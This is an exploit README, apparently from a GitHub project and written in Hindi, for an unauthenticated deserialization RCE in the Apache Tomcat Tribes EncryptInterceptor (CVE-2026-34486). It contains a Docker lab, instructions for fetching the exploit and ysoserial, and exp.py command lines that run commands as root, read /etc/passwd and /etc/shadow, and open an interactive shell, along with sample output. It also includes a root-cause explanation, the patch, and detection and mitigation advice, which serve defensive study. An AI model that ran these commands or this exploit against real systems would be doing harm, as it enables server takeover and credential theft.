
Apache Tomcat EncryptInterceptor बाईपास का शोषण, जो पोर्ट 4000 पर Java डिसीरियलाइज़ेशन के माध्यम से बिना प्रमाणीकरण के RCE की ओर ले जाता है। इसमें लैब सेटअप, इंटरैक्टिव शेल और डिटेक्शन मार्गदर्शन शामिल है।
Apache Tomcat Tribes क्लस्टर संचार मॉड्यूल
EncryptInterceptorडिक्रिप्शन विफल होने पर संदेशों को त्यागने में विफल रहता है, जिससे अनधिकृत हमलावर पोर्ट 4000 पर Java डिसीरियलाइज़ेशन के माध्यम से रिमोट कोड एक्ज़ीक्यूशन ट्रिगर कर सकते हैं।
| फ़ील्ड | जानकारी |
|---|---|
| CVE ID | CVE-2026-34486 |
| CVSS स्कोर | 7.5 (उच्च) |
| घटक | Apache Tomcat Tribes EncryptInterceptor |
| प्रभावित संस्करण | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 |
| स्थिर संस्करण | 9.0.117 / 10.1.54 / 11.0.21 |
| भेद्यता प्रकार | डिसीरियलाइज़ेशन के माध्यम से अनधिकृत रिमोट कोड एक्ज़ीक्यूशन |
| हमला वेक्टर | नेटवर्क / कोई प्रमाणीकरण नहीं / कम जटिलता |
| हमला पोर्ट | TCP 4000 (Tribes NioReceiver) |
Apache Tomcat की क्लस्टरिंग सुविधा क्लस्टर नोड्स के बीच सत्र डेटा को सिंक्रनाइज़ करने के लिए Tribes फ्रेमवर्क का उपयोग करती है, जो डिफ़ॉल्ट रूप से TCP पोर्ट 4000 पर सुनता है।
जब EncryptInterceptor (AES/CBC) सक्षम होता है, तो निम्नलिखित तर्क दोष मौजूद होता है:
// EncryptInterceptor.java — भेद्य संस्करण
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// डिक्रिप्टेड संदेश को प्रोसेस करें...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // केवल त्रुटि लॉग करता है
}
super.messageReceived(msg); // ← बग: डिक्रिप्शन विफलता के बाद भी कच्चे बाइट्स आगे भेजे जाते हैं
}
catch ब्लॉक केवल त्रुटि को लॉग करता है। चूंकि super.messageReceived(msg) try-catch के बाहर है, कच्चे अनएन्क्रिप्टेड बाइट्स को XByteBuffer.deserialize() → ObjectInputStream.readObject() पर आगे भेजा जाता है।
एक हमलावर बिना किसी प्रमाणीकरण के RCE ट्रिगर करने के लिए एक क्राफ्टेड डिसीरियलाइज़ेशन पेलोड भेज सकता है।
Attacker ──TCP:4000──► NioReceiver (no auth)
│
EncryptInterceptor.messageReceived()
try { AES/CBC decrypt → IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } ← only log trace
super.messageReceived(msg) ← BUG: raw bytes pass through
│
GroupChannel → XByteBuffer.deserialize()
│
ObjectInputStream.readObject() ← deserialization triggered
│
CommonsCollections6 Gadget Chain
│
Runtime.exec() → RCE as root 🔴
फिक्स super.messageReceived(msg) को try ब्लॉक के अंदर ले जाता है, ताकि कोई भी डिक्रिप्शन विफलता संदेश को चुपचाप छोड़ दे (fail-closed)।
// EncryptInterceptor.java — पैच किया गया संस्करण
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// प्रोसेस करें...
super.messageReceived(msg); // ← ठीक किया गया: केवल तभी पहुंचा जाता है जब डिक्रिप्शन सफल होता है
} catch (Exception e) {
log.error("Failed to decrypt message", e); // संदेश त्याग दिया जाता है
}
}
java और javac)ysoserial-all.jarapache-tomcat-9.0.116 (Tribes लाइब्रेरी के लिए)docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# सत्यापित करें
curl http://localhost:8080
# exp
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116 (Tribes लाइब्रेरी के लिए)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# सत्यापित करें
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# आउटपुट: uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
python3 exp.py -t 127.0.0.1 -p 4000 --shell
# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib
-t, --target लक्ष्य IP (डिफ़ॉल्ट: 127.0.0.1)
-p, --port Tribes पोर्ट (डिफ़ॉल्ट: 4000)
--http-port आउटपुट पुनर्प्राप्ति के लिए HTTP पोर्ट (डिफ़ॉल्ट: 8080)
-c, --command कमांड सीधे निष्पादित करें (कोई शेल सुविधाएँ नहीं)
--rce कमांड निष्पादित करें और HTTP के माध्यम से आउटपुट प्राप्त करें
--shell इंटरैक्टिव शेल मोड
-g, --gadget गैजेट श्रृंखला (डिफ़ॉल्ट: CommonsCollections6)
--ysoserial ysoserial jar का पथ
--tomcat-lib Tomcat lib निर्देशिका का पथ
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
34486
Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE
Target : 127.0.0.1:4000
Gadget : CommonsCollections6
[*] TribesClient.java संकलित किया जा रहा है ...
[+] सफलतापूर्वक संकलित
[*] CommonsCollections6 पेलोड उत्पन्न किया जा रहा है ...
[+] पेलोड: 1361 बाइट्स
[*] Tribes फ्रेम भेजा जा रहा है → 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] फ्रेम भेजा गया!
[*] परिणाम प्राप्त किया जा रहा है: http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
हमले द्वारा छोड़ा गया एकमात्र लॉग ट्रेस:
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
कोई readObject अपवाद लॉग नहीं किया जाता है — कमांड चुपचाप निष्पादित होता है।
| कार्रवाई | प्राथमिकता |
|---|---|
| Tomcat 9.0.117 / 10.1.54 / 11.0.21 में अपग्रेड करें | गंभीर |
| पोर्ट 4000 को केवल विश्वसनीय क्लस्टर IP तक सीमित करें | उच्च |
बार-बार Failed to decrypt message के लिए लॉग की निगरानी करें | मध्यम |
| यदि आवश्यक न हो तो Tribes क्लस्टरिंग अक्षम करें | उच्च |
यह प्रोजेक्ट केवल अधिकृत सुरक्षा अनुसंधान, पैठ परीक्षण और शैक्षिक उद्देश्यों के लिए है। इस टूल का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है। लेखक इस टूल के किसी भी दुरुपयोग या क्षति के लिए कोई दायित्व नहीं लेता है।
MIT लाइसेंस © 2026 404-src